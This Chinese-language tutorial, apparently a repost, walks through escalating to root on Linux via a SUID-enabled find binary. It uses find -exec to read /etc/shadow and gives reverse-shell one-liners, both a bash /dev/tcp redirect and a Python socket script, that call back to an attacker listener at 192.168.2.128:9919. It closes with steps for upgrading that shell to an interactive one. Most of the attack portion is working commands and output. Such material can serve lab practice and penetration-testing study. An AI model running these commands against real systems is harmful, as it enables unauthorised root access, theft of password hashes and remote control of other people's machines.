find 命令提權


find 命令提權

普通用戶find命令提權

先查看find命令有沒有提權的可能

1. 查看find命令權限

方法 一、
# 1. 查看find命令位置
which find

# 2. 查看 find 命令權限
ls -l  /usr/bin/find   #  這是find 默認位置

-rwsr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
# 有s 表示可以提權
方法 二、
# 用find 命令查找 有超級屬性的文件

find / -perm -u=s -type f 2>/dev/null


2. 假如find命令可提權 有s權限位

權限位 u + s

權限為 4xxx

# 查看是否可以用root 命令執行命令

find `which find` -exec whoami \;
# 命令解釋: 以find 命令 執行  whoami 命令。   
# find  (一個路徑或文件必須存在)  -exec  執行命令 (結束)\;

可以直接執行命令

find /usr/bin/find -exec cat /etc/shadow \;

查看普通用戶沒有權限查看的文件。

3. 反彈shell

常規套路 ,2個機器。 一個開監聽,一個執行反彈命令

用途 ip
攻擊機(root 用戶) 192.168.2.128 開監聽
靶機(普通用戶) 192.168.2.10 執行反彈shell 命令
3.1 開監聽
# 監聽 9919 端口
nc -lvvnp  9919
3.2 執行反彈shell 命令
# 用find 命令執行
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;

# python 方式反彈
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

-p : 讓 euid 為0 , 權限為root 權限

默認情況下 bash 在執行時,如果發現 euid 和 uid 不匹配,會將 euid(即 suid) 強制重置為uid 。如果使用了 -p 參數,則不會再覆蓋。

3.3 驗證
# 在反彈的shell 中 執行命令
bash-4.2# whoami
whoami
root
bash-4.2# id
id
uid=1005(zzzz) gid=1005(zzzz) euid=0(root) groups=1005(zzzz)

此shell 為不完整的shell, 升級交互式。

3.4 升級交互式shell

# 在反彈shell 上執行

[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'   
#使用python,升級交互shell

[root@localhost ~]# ^Z		     
# ctrl + z 按鍵  掛起正在運行的程序 

root@kali64:~# stty raw -echo	      
# 輸入這句后 在輸入命令終端不在顯示 

root@kali64:~# fg		      
# 把后台掛起的程序,放到控制台----》 終端不顯示命令,輸入后回車

[root@localhost ~]# reset


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM